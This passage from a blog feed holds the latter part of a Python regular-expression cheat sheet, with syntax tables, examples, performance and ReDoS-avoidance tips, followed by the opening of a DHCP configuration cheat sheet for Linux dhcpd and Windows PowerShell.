<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Syntax</th><th>Meaning</th></tr></thead><tbody><tr><td><code>(abc)</code></td><td>Capturing group</td></tr><tr><td><code>(?:abc)</code></td><td>Non-capturing group</td></tr><tr><td><code>(?P&lt;name&gt;abc)</code></td><td>Named capturing group</td></tr><tr><td><code>(?P=name)</code></td><td>Backreference to named group</td></tr><tr><td><code>\1</code>, <code>\2</code></td><td>Backreference to group 1, 2</td></tr><tr><td><code>(?=abc)</code></td><td>Positive lookahead</td></tr><tr><td><code>(?!abc)</code></td><td>Negative lookahead</td></tr><tr><td><code>(?&lt;=abc)</code></td><td>Positive lookbehind</td></tr><tr><td><code>(?&lt;!abc)</code></td><td>Negative lookbehind</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>import re

text = "2026-07-29"
match = re.match(r"(?P&lt;year&gt;\d{4})-(?P&lt;month&gt;\d{2})-(?P&lt;day&gt;\d{2})", text)
print(match.group("year"))   # 2026
print(match.group("month"))  # 07
print(match.groupdict())     # {'year': '2026', 'month': '07', 'day': '29'}
</code></pre>



<p class="wp-block-paragraph">Lookaheads and lookbehinds are the tools I reach for when I need to match something based on context without including that context in the result:</p>



<pre class="wp-block-code"><code>import re

# Positive lookahead: match "price" only if followed by a number
text = "price: 500, name: item"
match = re.search(r"price(?=: \d+)", text)
print(match.group() if match else "No match")  # price

# Negative lookbehind: match numbers not preceded by $
text = "Cost is $50 but tax is 5"
print(re.findall(r"(?&lt;!\$)\b\d+\b", text))  # &#91;'5']
</code></pre>



<h2 class="wp-block-heading">Regex Flags I Actually Use</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Flag</th><th>Short Form</th><th>Purpose</th></tr></thead><tbody><tr><td><code>re.IGNORECASE</code></td><td><code>re.I</code></td><td>Case-insensitive matching</td></tr><tr><td><code>re.MULTILINE</code></td><td><code>re.M</code></td><td><code>^</code> and <code>$</code> match at line boundaries</td></tr><tr><td><code>re.DOTALL</code></td><td><code>re.S</code></td><td><code>.</code> also matches newline</td></tr><tr><td><code>re.VERBOSE</code></td><td><code>re.X</code></td><td>Allows whitespace/comments in pattern for readability</td></tr><tr><td><code>re.ASCII</code></td><td><code>re.A</code></td><td><code>\w</code>, <code>\d</code>, <code>\s</code> match ASCII only</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>import re

pattern = re.compile(r"""
    (?P&lt;area&gt;\d{3})   # area code
    -
    (?P&lt;num&gt;\d{4})    # number
""", re.VERBOSE)

print(pattern.search("Call 555-1234").groupdict())
</code></pre>



<h2 class="wp-block-heading">Common Real-World Patterns</h2>



<p class="wp-block-paragraph">These are the patterns I keep in a personal snippets file because I reuse them across projects.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Use Case</th><th>Pattern</th><th>Notes</th></tr></thead><tbody><tr><td>Email</td><td><code>^[\w.+-]+@[\w-]+\.[a-zA-Z]{2,}$</code></td><td>Basic validation, not RFC-complete</td></tr><tr><td>URL</td><td><code>https?://[^\s]+</code></td><td>Good for extracting links from text</td></tr><tr><td>IPv4 address</td><td><code>\b(?:\d{1,3}\.){3}\d{1,3}\b</code></td><td>Doesn&#8217;t validate 0-255 range strictly</td></tr><tr><td>Phone number (US)</td><td><code>\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}</code></td><td>Handles common formats</td></tr><tr><td>Hex color code</td><td><code>#(?:[0-9a-fA-F]{3}){1,2}</code></td><td>Matches #fff or #ffffff</td></tr><tr><td>Date (YYYY-MM-DD)</td><td><code>\d{4}-\d{2}-\d{2}</code></td><td>ISO format</td></tr><tr><td>Whitespace trimming</td><td><code>^\s+|\s+$</code></td><td>Use with <code>re.sub</code> and empty string</td></tr><tr><td>Password strength</td><td><code>^(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&amp;*]).{8,}$</code></td><td>At least one upper, digit, symbol, 8+ chars</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>import re

def is_valid_email(email):
    pattern = r"^&#91;\w.+-]+@&#91;\w-]+\.&#91;a-zA-Z]{2,}$"
    return bool(re.match(pattern, email))

print(is_valid_email("hello@example.com"))  # True
print(is_valid_email("hello@example"))      # False
</code></pre>



<h2 class="wp-block-heading">Best Practices I Follow</h2>



<ul class="wp-block-list">
<li><strong>I always precompile patterns</strong> with <code>re.compile()</code> when I&#8217;ll reuse them in a loop — it noticeably improves performance.</li>



<li><strong>I use raw strings</strong> (<code>r"..."</code>) for every pattern, no exceptions, to avoid double-escaping headaches.</li>



<li><strong>I keep patterns readable</strong> with <code>re.VERBOSE</code> once they get past a certain complexity — a dense regex with no comments is a debugging nightmare six months later.</li>



<li><strong>I test incrementally.</strong> I build a pattern piece by piece rather than writing the whole thing and hoping it works.</li>



<li><strong>I avoid greedy quantifiers</strong> (<code>.*</code>) when I actually want the smallest possible match — <code>.*?</code> (lazy) has saved me from matching way more text than intended more times than I&#8217;d like to admit.</li>



<li><strong>I validate, don&#8217;t just match</strong>, when dealing with user input — matching part of a string isn&#8217;t the same as confirming the whole string is valid, which is why <code>fullmatch()</code> matters.</li>



<li><strong>I never use regex for deeply nested or recursive structures</strong> like HTML or JSON — that&#8217;s a job for a proper parser, not a pattern matcher.</li>
</ul>



<h2 class="wp-block-heading">Troubleshooting Common Regex Problems</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Problem</th><th>Likely Cause</th><th>Fix</th></tr></thead><tbody><tr><td>Pattern matches too much</td><td>Greedy quantifier (<code>.*</code>)</td><td>Use lazy quantifier (<code>.*?</code>)</td></tr><tr><td>Pattern matches nothing</td><td>Forgot to escape special characters</td><td>Escape <code>.</code>, <code>(</code>, <code>)</code>, <code>[</code>, <code>]</code> with <code>\</code></td></tr><tr><td><code>AttributeError: 'NoneType' object has no attribute 'group'</code></td><td><code>match()</code>/<code>search()</code> returned <code>None</code></td><td>Check for <code>None</code> before calling <code>.group()</code></td></tr><tr><td>Unicode characters not matching <code>\w</code></td><td>Using <code>re.ASCII</code> flag unintentionally</td><td>Remove the flag or use <code>re.UNICODE</code> (default in Python 3)</td></tr><tr><td>Backslash errors in pattern</td><td>Not using raw string</td><td>Prefix pattern with <code>r</code></td></tr><tr><td><code>^</code> and <code>$</code> not matching per line</td><td>Missing <code>re.MULTILINE</code> flag</td><td>Add <code>re.M</code></td></tr><tr><td>Catastrophic backtracking (regex hangs)</td><td>Nested quantifiers like <code>(a+)+</code></td><td>Simplify the pattern, avoid nested repetition</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Security Tips</h2>



<p class="wp-block-paragraph">I&#8217;ve seen regex misused in ways that create real vulnerabilities, so a few things I always keep in mind:</p>



<ul class="wp-block-list">
<li><strong>Watch for ReDoS (Regular Expression Denial of Service).</strong> Patterns with nested quantifiers like <code>(a+)+$</code> can cause catastrophic backtracking on crafted input, freezing your application. I test patterns against long, adversarial strings before deploying them.</li>



<li><strong>Never build regex patterns from unsanitized user input</strong> using <code>re.escape()</code> incorrectly or string concatenation — always call <code>re.escape()</code> on any user-supplied text that ends up inside a pattern.</li>



<li><strong>Don&#8217;t rely on regex alone for security-critical validation</strong>, like sanitizing SQL queries or HTML — use parameterized queries and dedicated sanitization libraries instead.</li>



<li><strong>Set reasonable input length limits</strong> before running regex on user-submitted text, especially for web forms.</li>
</ul>



<pre class="wp-block-code"><code>import re

user_input = "some (user) &#91;input]"
safe_pattern = re.escape(user_input)
print(re.search(safe_pattern, "some (user) &#91;input] here"))
</code></pre>



<h2 class="wp-block-heading">Professional Workflow: Building a Log Parser</h2>



<p class="wp-block-paragraph">Here&#8217;s a workflow I actually use when I need to parse server logs — a task regex is genuinely great for.</p>



<pre class="wp-block-code"><code>import re

log_line = '127.0.0.1 - - &#91;29/Jul/2026:10:15:32] "GET /index. html HTTP/1.1" 200 1024'

pattern = re.compile(r"""
    (?P&lt;ip>\d{1,3}(?:\.\d{1,3}){3})\s+
    -\s+-\s+
    \&#91;(?P&lt;timestamp>&#91;^\]]+)\]\s+
    "(?P&lt;method>\w+)\s+(?P&lt;path>\S+)\s+HTTP/&#91;\d.]+"\s+
    (?P&lt;status>\d{3})\s+
    (?P&lt;size>\d+)
""", re.VERBOSE)

match = pattern.match(log_line)
if match:
    print(match.groupdict())
</code></pre>



<p class="wp-block-paragraph">Output:</p>



<pre class="wp-block-code"><code>{'ip': '127.0.0.1', 'timestamp': '29/Jul/2026:10:15:32', 'method': 'GET', 'path': '/index. html', 'status': '200', 'size': '1024'}
</code></pre>



<p class="wp-block-paragraph">This is the kind of pattern I&#8217;d extend across thousands of log lines using <code>finditer()</code> for memory-efficient processing.</p>



<h2 class="wp-block-heading">Common Mistakes I See (and Have Made Myself)</h2>



<ol class="wp-block-list">
<li><strong>Forgetting <code>re.escape()</code> for literal special characters</strong> — trying to match a literal <code>.</code> or <code>$</code> without escaping it.</li>



<li><strong>Using <code>match()</code> when <code>search()</code> is needed</strong> — <code>match()</code> only checks from the start of the string, which trips people up constantly.</li>



<li><strong>Overusing <code>.*</code></strong> — leads to unintended matches spanning far more text than expected.</li>



<li><strong>Not anchoring patterns</strong> — omitting <code>^</code> and <code>$</code> when full-string validation is required.</li>



<li><strong>Ignoring Unicode</strong> — assuming <code>\w</code> only matches ASCII letters when Python 3&#8217;s <code>re</code> is Unicode-aware by default.</li>



<li><strong>Writing unreadable one-liners</strong> — a 200-character regex with no comments becomes unmaintainable fast.</li>



<li><strong>Not precompiling</strong> — recompiling the same pattern inside a loop instead of once outside it.</li>
</ol>



<h2 class="wp-block-heading">Working with Match Objects in Depth</h2>



<p class="wp-block-paragraph">Whenever <code>re.match()</code> or <code>re.search()</code> succeeds, I get back a <code>Match</code> object, and I lean on its methods constantly rather than just grabbing <code>.group()</code> and moving on.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Method/Attribute</th><th>Purpose</th></tr></thead><tbody><tr><td><code>.group()</code></td><td>Returns the whole match (or a specific group)</td></tr><tr><td><code>.groups()</code></td><td>Returns a tuple of all captured groups</td></tr><tr><td><code>.groupdict()</code></td><td>Returns named groups as a dictionary</td></tr><tr><td><code>.start()</code></td><td>Returns the starting index of the match</td></tr><tr><td><code>.end()</code></td><td>Returns the ending index of the match</td></tr><tr><td><code>.span()</code></td><td>Returns a tuple of (start, end)</td></tr><tr><td><code>.string</code></td><td>Returns the original string that was searched</td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>import re

text = "Invoice #4521 dated 2026-07-29"
match = re.search(r"#(?P&lt;invoice&gt;\d+).*?(?P&lt;date&gt;\d{4}-\d{2}-\d{2})", text)

print(match.group(0))       # Full match
print(match.group("invoice"))  # 4521
print(match.span("date"))   # (21, 31)
print(match.string)         # Original text
</code></pre>



<p class="wp-block-paragraph">I use <code>.span()</code> a lot when I need to slice the original string around a match — for example, replacing just the matched portion while preserving everything else exactly as it was.</p>



<h2 class="wp-block-heading">Substitution Techniques Beyond the Basics</h2>



<p class="wp-block-paragraph"><code>re.sub()</code> does more than swap static text — I regularly use functions and backreferences inside substitutions to do more complex transformations.</p>



<h3 class="wp-block-heading">Using Backreferences in Replacement Strings</h3>



<pre class="wp-block-code"><code>import re

text = "John Smith, Jane Doe"
# Swap first and last names
result = re.sub(r"(\w+) (\w+)", r"\2 \1", text)
print(result)  # Smith John, Doe Jane
</code></pre>



<h3 class="wp-block-heading">Using a Function as the Replacement</h3>



<p class="wp-block-paragraph">This is one of my favorite tricks — when a simple string replacement isn&#8217;t enough, I pass a function instead:</p>



<pre class="wp-block-code"><code>import re

text = "I have 3 apples and 12 oranges"

def double_number(match):
    return str(int(match.group()) * 2)

result = re.sub(r"\d+", double_number, text)
print(result)  # I have 6 apples and 24 oranges
</code></pre>



<h3 class="wp-block-heading">Limiting the Number of Replacements</h3>



<pre class="wp-block-code"><code>import re

text = "a-b-c-d-e"
result = re.sub(r"-", "_", text, count=2)
print(result)  # a_b_c-d-e
</code></pre>



<h2 class="wp-block-heading">Splitting Strings with Capturing Groups</h2>



<p class="wp-block-paragraph">Something that catches people off guard: if you use a capturing group inside the pattern passed to <code>re.split()</code>, the captured text is included in the result list.</p>



<pre class="wp-block-code"><code>import re

text = "apple123banana456cherry"
print(re.split(r"(\d+)", text))
# Output: &#91;'apple', '123', 'banana', '456', 'cherry']

print(re.split(r"\d+", text))
# Output: &#91;'apple', 'banana', 'cherry']
</code></pre>



<p class="wp-block-paragraph">I use this deliberately when I need to know not just how a string was split, but exactly what the delimiters were.</p>



<h2 class="wp-block-heading">Performance Considerations</h2>



<p class="wp-block-paragraph">Regex is convenient, but it isn&#8217;t free. A few performance habits I&#8217;ve picked up over the years:</p>



<ul class="wp-block-list">
<li><strong>Precompile patterns used in loops.</strong> Compiling a pattern has overhead; doing it once outside a loop instead of on every iteration can make a measurable difference on large datasets.</li>



<li><strong>Avoid unnecessary backtracking.</strong> Patterns like <code>(a+)+b</code> can cause the engine to explore an exponential number of paths when the input doesn&#8217;t match — known as catastrophic backtracking.</li>



<li><strong>Anchor patterns when possible.</strong> A pattern anchored with <code>^</code> can often fail fast instead of scanning the whole string.</li>



<li><strong>Use non-capturing groups <code>(?:...)</code></strong> when you don&#8217;t need to extract the group&#8217;s contents — it avoids the overhead of tracking that group&#8217;s boundaries.</li>



<li><strong>Profile before optimizing.</strong> For most everyday scripts, regex performance is a non-issue — I only start optimizing after actually measuring a bottleneck with something like <code>timeit</code>.</li>
</ul>



<pre class="wp-block-code"><code>import re
import timeit

pattern = re.compile(r"\d+")
text = "abc123def456" * 1000

# Compiled pattern reused across many calls
duration = timeit.timeit(lambda: pattern.findall(text), number=1000)
print(duration)
</code></pre>



<h2 class="wp-block-heading">Regex vs. Alternatives: When Not to Use Regex</h2>



<p class="wp-block-paragraph">I&#8217;ve learned the hard way that regex isn&#8217;t always the right tool:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>Better Alternative</th></tr></thead><tbody><tr><td>Parsing HTML/XML</td><td><code>BeautifulSoup</code> or <code>lxml</code></td></tr><tr><td>Parsing JSON</td><td>Python&#8217;s built-in <code>json</code> module</td></tr><tr><td>Parsing CSV</td><td>Python&#8217;s built-in <code>csv</code> module</td></tr><tr><td>Simple substring checks</td><td><code>str.startswith()</code>, <code>str.endswith()</code>, <code>in</code></td></tr><tr><td>Complex nested/recursive structures</td><td>A proper parser or grammar (e.g., <code>pyparsing</code>)</td></tr><tr><td>Date/time parsing</td><td><code>datetime.strptime()</code> or <code>dateutil</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Regex is fantastic for flat, linear pattern matching — but the moment structure becomes nested or recursive, a dedicated parser will save time and prevent subtle bugs.</p>



<h2 class="wp-block-heading">A Step-by-Step Example: Building a Validation Function</h2>



<p class="wp-block-paragraph">Here&#8217;s a workflow I follow when building something like a username validator from scratch, since it shows how I layer requirements incrementally rather than writing one giant pattern up front.</p>



<pre class="wp-block-code"><code>import re

def is_valid_username(username):
    # Requirement 1: 3-16 characters
    if not re.fullmatch(r".{3,16}", username):
        return False
    # Requirement 2: starts with a letter
    if not re.match(r"^&#91;A-Za-z]", username):
        return False
    # Requirement 3: only letters, digits, underscores
    if not re.fullmatch(r"&#91;A-Za-z0-9_]+", username):
        return False
    return True

print(is_valid_username("john_doe22"))  # True
print(is_valid_username("22john"))      # False (starts with digit)
print(is_valid_username("jo"))          # False (too short)
</code></pre>



<p class="wp-block-paragraph">I could combine all of this into a single dense pattern, but I usually prefer breaking validation into readable steps like this — it&#8217;s far easier to debug when a specific rule fails, and far easier for someone else to maintain later.</p>



<h2 class="wp-block-heading">Frequently Asked Questions</h2>



<p class="wp-block-paragraph"><strong>Is regex the same across all programming languages?</strong> No. Python&#8217;s <code>re</code> module has its own syntax quirks (like named groups using <code>(?P&lt;name&gt;...)</code> instead of <code>(?&lt;name&gt;...)</code> in some other languages). The core concepts transfer, but syntax details don&#8217;t always.</p>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between <code>match()</code> and <code>fullmatch()</code>?</strong> <code>match()</code> only requires the pattern to match from the start of the string — it can succeed even if there&#8217;s leftover text. <code>fullmatch()</code> requires the entire string to match the pattern exactly.</p>



<p class="wp-block-paragraph"><strong>Should I use regex or string methods for simple tasks?</strong> For simple substring checks, I use <code>str.startswith()</code>, <code>str.endswith()</code>, or <code>in</code> — they&#8217;re faster and more readable. I reach for regex when I need patterns, not just literal text.</p>



<p class="wp-block-paragraph"><strong>Why does my pattern work in an online regex tester but not in Python?</strong> Different regex engines (PCRE, JavaScript, Python&#8217;s <code>re</code>) have subtly different syntax and behavior. Always test directly in Python rather than assuming compatibility.</p>



<p class="wp-block-paragraph"><strong>How do I match across multiple lines?</strong> Use the <code>re.MULTILINE</code> flag for <code>^</code>/<code>$</code> to match line boundaries, or <code>re.DOTALL</code> if you need <code>.</code> to match newlines too.</p>



<p class="wp-block-paragraph"><strong>Is there a faster alternative to the <code>re</code> module?</strong> For very performance-sensitive applications, the third-party <code>regex</code> module offers more features and sometimes better performance, and libraries like <code>re2</code> (via bindings) avoid catastrophic backtracking entirely.</p>



<h2 class="wp-block-heading">Interview Questions on Regex (with Answers)</h2>



<p class="wp-block-paragraph"><strong>1. What is the difference between greedy and lazy quantifiers?</strong> Greedy quantifiers (<code>*</code>, <code>+</code>, <code>{n,m}</code>) match as much text as possible. Lazy quantifiers (<code>*?</code>, <code>+?</code>, <code>{n,m}?</code>) match as little as possible while still satisfying the pattern.</p>



<p class="wp-block-paragraph"><strong>2. How do you extract all email addresses from a large text block in Python?</strong> Using <code>re.findall()</code> with an email pattern, ideally on a precompiled pattern object for performance on large text.</p>



<p class="wp-block-paragraph"><strong>3. What&#8217;s a non-capturing group and when would you use one?</strong> <code>(?:...)</code> groups characters for applying quantifiers or alternation without creating a backreference-accessible group — useful for performance and cleaner group indexing.</p>



<p class="wp-block-paragraph"><strong>4. Explain catastrophic backtracking.</strong> It happens when a regex engine tries an exponential number of combinations to match a pattern against a string, usually due to nested or ambiguous quantifiers, causing the program to hang.</p>



<p class="wp-block-paragraph"><strong>5. How would you validate that a string is a valid password with specific complexity rules?</strong> Using lookaheads to enforce multiple independent conditions, e.g., <code>^(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&amp;*]).{8,}$</code>, combined with <code>fullmatch()</code>.</p>



<p class="wp-block-paragraph"><strong>6. What&#8217;s the difference between <code>\d</code> and <code>[0-9]</code>?</strong> Functionally the same for ASCII digits, but <code>\d</code> in Python 3 also matches Unicode decimal digits unless <code>re.ASCII</code> is set.</p>



<h2 class="wp-block-heading">Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>CHARACTER CLASSES
\d digit        \D non-digit
\w word char    \W non-word char
\s whitespace   \S non-whitespace
\b word boundary

QUANTIFIERS
*  0+           +  1+
?  0 or 1       {n} exactly n
{n,m} n to m    *? +? lazy versions

ANCHORS
^ start         $ end
\A string start \Z string end

GROUPS
(...)           capturing
(?:...)         non-capturing
(?P&lt;name&gt;...)   named group
(?=...)         lookahead
(?&lt;=...)        lookbehind

FUNCTIONS
re.match()      start of string only
re.search()     anywhere in string
re.findall()    all matches, as list
re.finditer()   all matches, as iterator
re.sub()        replace matches
re.split()      split by pattern
re.compile()    precompile for reuse
</code></pre>



<h2 class="wp-block-heading">Official Documentation and Further Reading</h2>



<ul class="wp-block-list">
<li><a href="https://docs.python.org/3/library/re.html">Python <code>re</code> module documentation</a></li>



<li><a href="https://docs.python.org/3/howto/regex.html">Python Regular Expression HOWTO</a></li>



<li><a href="https://peps.python.org/pep-0008/">PEP 8 — Style Guide for Python Code</a></li>
</ul>



<p class="wp-block-paragraph">I keep coming back to this cheat sheet myself whenever I&#8217;m knee-deep in a parsing script and need a quick reminder. Save it, bookmark it, and if a pattern ever gets the better of you at 2 AM like it did me — take a breath, break it into pieces, and test one piece at a time. That&#8217;s really the whole secret.</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/comprehensive-regex-cheatsheet-master-regular-expressions-in-python/">Comprehensive Regex Cheatsheet: Master Regular Expressions in Python</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/comprehensive-regex-cheatsheet-master-regular-expressions-in-python/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6076</post-id>	</item>
		<item>
		<title>Ultimate Dynamic Host Configuration Protocol (DHCP) Cheat Sheet: Commands and Configuration</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-dynamic-host-configuration-protocol-dhcp-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-dynamic-host-configuration-protocol-dhcp-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 20:38:33 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6024</guid>

					<description><![CDATA[<p>The first time I had to troubleshoot a DHCP outage, it was on a Friday afternoon, half the&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-dynamic-host-configuration-protocol-dhcp-cheat-sheet/">Ultimate Dynamic Host Configuration Protocol (DHCP) Cheat Sheet: Commands and Configuration</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">The first time I had to troubleshoot a DHCP outage, it was on a Friday afternoon, half the office had no internet, and I was frantically scrolling through half-remembered commands trying to figure out why an entire floor of laptops couldn&#8217;t get an IP address. It turned out to be a scope that had run out of leases — something I could have spotted in thirty seconds if I&#8217;d had a proper reference in front of me.</p>



<p class="wp-block-paragraph">That&#8217;s exactly what I&#8217;ve built here. This is the DHCP cheat sheet I wish I&#8217;d had that day — commands for Linux, Windows Server, and Cisco devices, real configuration examples, the troubleshooting steps I actually use, and the security practices that keep DHCP from becoming an attack vector on a network. I&#8217;ve organized it so you can jump straight to what you need, whether that&#8217;s a <code>dhcpd.conf</code> snippet or a PowerShell one-liner.</p>



<h2 class="wp-block-heading">What DHCP Actually Does</h2>



<p class="wp-block-paragraph">DHCP automatically assigns IP addresses, subnet masks, default gateways, and other network configuration details to devices on a network, so nobody has to manually configure each machine. It works through a four-step process commonly remembered as <strong>DORA</strong>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Step</th><th>Name</th><th>Description</th></tr></thead><tbody><tr><td>1</td><td>Discover</td><td>Client broadcasts a request looking for a DHCP server</td></tr><tr><td>2</td><td>Offer</td><td>Server responds with an available IP address offer</td></tr><tr><td>3</td><td>Request</td><td>Client requests the offered IP address</td></tr><tr><td>4</td><td>Acknowledge</td><td>Server confirms and finalizes the lease</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">I think of DORA as the handshake that happens every time a device joins a network — understanding it makes troubleshooting dramatically easier because you can tell exactly where in that sequence things are breaking down.</p>



<h2 class="wp-block-heading">Key DHCP Terminology</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Term</th><th>Meaning</th></tr></thead><tbody><tr><td>Scope</td><td>A range of IP addresses available for assignment on a subnet</td></tr><tr><td>Lease</td><td>The duration a client is allowed to use an assigned IP address</td></tr><tr><td>Reservation</td><td>A specific IP address permanently assigned to a specific MAC address</td></tr><tr><td>Exclusion</td><td>An IP address range within a scope that DHCP will not assign</td></tr><tr><td>Lease time</td><td>How long before a client must renew its IP address</td></tr><tr><td>Relay agent</td><td>A device that forwards DHCP requests across subnets/broadcast domains</td></tr><tr><td>Option</td><td>Additional configuration data sent with the lease (DNS servers, gateway, etc.)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">DHCP Options I Reference Most Often</h2>



<p class="wp-block-paragraph">These are the option numbers I look up constantly when configuring scopes.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Option Number</th><th>Name</th><th>Purpose</th></tr></thead><tbody><tr><td>1</td><td>Subnet Mask</td><td>Defines the subnet mask for the client</td></tr><tr><td>3</td><td>Router (Default Gateway)</td><td>Specifies the default gateway</td></tr><tr><td>6</td><td>DNS Servers</td><td>List of DNS servers for the client</td></tr><tr><td>12</td><td>Hostname</td><td>Client&#8217;s hostname</td></tr><tr><td>15</td><td>Domain Name</td><td>DNS domain name</td></tr><tr><td>42</td><td>NTP Servers</td><td>Time synchronization servers</td></tr><tr><td>50</td><td>Requested IP Address</td><td>Used in DHCPREQUEST messages</td></tr><tr><td>51</td><td>IP Address Lease Time</td><td>Duration of the lease</td></tr><tr><td>53</td><td>DHCP Message Type</td><td>Identifies Discover/Offer/Request/Ack</td></tr><tr><td>54</td><td>DHCP Server Identifier</td><td>Identifies which server sent the message</td></tr><tr><td>66</td><td>TFTP Server Name</td><td>Used for network boot</td></tr><tr><td>67</td><td>Bootfile Name</td><td>Used for PXE boot</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Linux DHCP Server (ISC DHCP / dhcpd) Configuration</h2>



<p class="wp-block-paragraph">I use <code>isc-dhcp-server</code> most often on Linux for lab and small production environments. Here&#8217;s how I set it up.</p>



<h3 class="wp-block-heading">Installation</h3>



<pre class="wp-block-code"><code># Debian/Ubuntu
sudo apt update &amp;&amp; sudo apt install isc-dhcp-server -y

# RHEL/CentOS/Fedora
sudo dnf install dhcp-server -y
</code></pre>



<h3 class="wp-block-heading">Basic Configuration File (<code>/etc/dhcp/dhcpd.conf</code>)</h3>



<pre class="wp-block-code"><code>default-lease-time 600;
max-lease-time 7200;

subnet 192.168.1.0 netmask 255.255.255.0 {
  range 192.168.1.100 192.168.1.200;
  option routers 192.168.1.1;
  option subnet-mask 255.255.255.0;
  option domain-name-servers 8.8.8.8, 8.8.4.4;
  option domain-name "myhomelab.local";
}
</code></pre>



<h3 class="wp-block-heading">Setting a Static Reservation</h3>



<pre class="wp-block-code"><code>host printer-01 {
  hardware ethernet 00:1A:2B:3C:4D:5E;
  fixed-address 192.168.1.50;
}
</code></pre>



<h3 class="wp-block-heading">Common Linux Commands</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>sudo systemctl start isc-dhcp-server</code></td><td>Start the DHCP service</td></tr><tr><td><code>sudo systemctl restart isc-dhcp-server</code></td><td>Restart after config changes</td></tr><tr><td><code>sudo systemctl status isc-dhcp-server</code></td><td>Check service status</td></tr><tr><td><code>sudo journalctl -u isc-dhcp-server -f</code></td><td>Tail live DHCP server logs</td></tr><tr><td><code>dhcpd -t -cf /etc/dhcp/dhcpd.conf</code></td><td>Test configuration file syntax</td></tr><tr><td><code>cat /var/lib/dhcp/dhcpd.leases</code></td><td>View current active leases</td></tr><tr><td><code>sudo dhclient -r</code></td><td>Release the current DHCP lease (client side)</td></tr><tr><td><code>sudo dhclient eth0</code></td><td>Request a new DHCP lease on interface eth0</td></tr><tr><td><code>ip addr show</code></td><td>View assigned IP addresses</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Windows Server DHCP Configuration (PowerShell)</h2>



<p class="wp-block-paragraph">I manage most of my Windows Server DHCP roles through PowerShell now rather than the GUI — it&#8217;s faster and scriptable.</p>



<h3 class="wp-block-heading">Installing the DHCP Role</h3>



<pre class="wp-block-code"><code>Install-WindowsFeature DHCP -IncludeManagementTools
</code></pre>



<h3 class="wp-block-heading">Creating a New Scope</h3>



<pre class="wp-block-code"><code>Add-DhcpServerv4Scope -Name "Office-LAN" `
  -StartRange 192.168.1.100 `
  -EndRange 192.168.1.200 `
  -SubnetMask 255.255.255.0 `
  -State Active
</code></pre>



<h3 class="wp-block-heading">Setting Scope Options</h3>



<pre class="wp-block-code"><code>Set-DhcpServerv4OptionValue -ScopeId 192.168.1.0 `
  -DnsServer 8.8.8.8,8.8.4.4 `
  -Router 192.168.1.1
</code></pre>



<h3 class="wp-block-heading">Creating a Reservation</h3>



<pre class="wp-block-code"><code>Add-DhcpServerv4Reservation -ScopeId 192.168.1.0 `
  -IPAddress 192.168.1.50 `
  -ClientId "00-1A-2B-3C-4D-5E" `
  -Description "Office Printer"
</code></pre>



<h3 class="wp-block-heading">Useful PowerShell Cheat Table</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>Get-DhcpServerv4Scope</code></td><td>List all configured scopes</td></tr><tr><td><code>Get-DhcpServerv4Lease -ScopeId 192.168.1.0</code></td><td>View active leases in a scope</td></tr><tr><td><code>Get-DhcpServerv4Statistics</code></td><td>View server-wide DHCP statistics</td></tr><tr><td><code>Remove-DhcpServerv4Lease</code></td><td>Manually remove a lease</td></tr><tr><td><code>Set-DhcpServerv4Scope -LeaseDuration</code></td><td>Change lease duration for a scope</td></tr><tr><td><code>Export-DhcpServer</code></td><td>Export DHCP configuration for backup</td></tr><tr><td><code>Import-DhcpServer</code></td><td>Import DHCP configuration from backup</td></tr><tr><td><code>Restart-Service DHCPServer</code></td><td>Restart the DHCP service</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Windows Client-Side Commands (Command Prompt)</h3>



